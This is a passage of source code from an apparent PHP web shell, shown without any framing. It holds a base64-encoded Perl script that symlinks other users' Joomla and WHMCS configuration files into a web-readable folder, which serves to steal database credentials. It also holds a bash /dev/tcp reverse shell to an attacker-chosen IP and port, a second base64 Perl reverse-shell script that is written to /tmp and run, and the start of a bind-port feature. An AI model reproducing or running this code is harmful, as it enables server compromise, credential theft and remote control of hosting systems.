dXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9teS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wYW5lbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9DQopOw0KZm9yZWFjaCAoQGFycmF5KXsNCglteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9Ow0KCW15ICR0eXBlY29uZmlnID0gJF8tPnt0eXBlfTsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiaWR4X3N5bTQwNC8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiaWR4X3N5bTQwNC8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQiOw0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJpZHhfc3ltNDA0LyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dDQwNC8weDE5OTkudHh0Iik7DQoJY29weSgiaWR4X3N5bTQwNC9uZW11LnR4dCIsImlkeF9zeW00MDQvJHVzZXJueWEtJHR5cGVjb25maWcudHh0NDA0Ly5odGFjY2VzcyIpIDsNCgl9DQp9DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50ICI8aGVhZD48dGl0bGU+QnlwYXNzIDQwNCBCeSAweDE5OTk8L3RpdGxlPjwvaGVhZD4iOw0KcHJpbnQgJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjU7IHVybD1pZHhfc3ltNDA0Ii8+JzsNCnByaW50ICc8Ym9keT48Y2VudGVyPjxoMT4weDE5OTkgTmV2ZXIgRGllPC9oMT4nOw0KcHJpbnQgJzxhIGhyZWY9ImlkeF9zeW00MDQiPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw==";
776 save("/tmp/symlink404.pl", "w", base64_decode($sym['code']));
777 exe("perl /tmp/symlink404.pl");
778 sleep(1);
779 @unlink("/tmp/symlink404.pl");
780 @unlink("passwd.txt");
781 @unlink("idx_sym404/pas.txt");
782 @unlink("idx_sym404/nemu.txt");
783 }
784
785 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
786 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_sym404/' frameborder='0' scrolling='yes'></iframe>";
787 print "</div>";
788 }
789 }
790 }
791 elseif($toolsname === "network") {
792 $args = explode(" ", $args);
793
794 if($args[0] === "bc") {
795 if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
796 if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
797 if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
798
799 if($args[3] === "bash") {
800 exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");
801 }
802 elseif($args[3] === "perl") {
803 $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
804 save("/tmp/bc.pl", "w", base64_decode($bc['code']));
805 $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");
806 sleep(1);
807 print "<pre>".$bc['exec']."\n".exe("ps aux | grep bc.pl")."</pre>";
808 @unlink("/tmp/bc.pl");
809 }
810 }
811 elseif($args[0] === "bp") {
812 if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
813 if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
814
815 if($args[2] === "perl") {
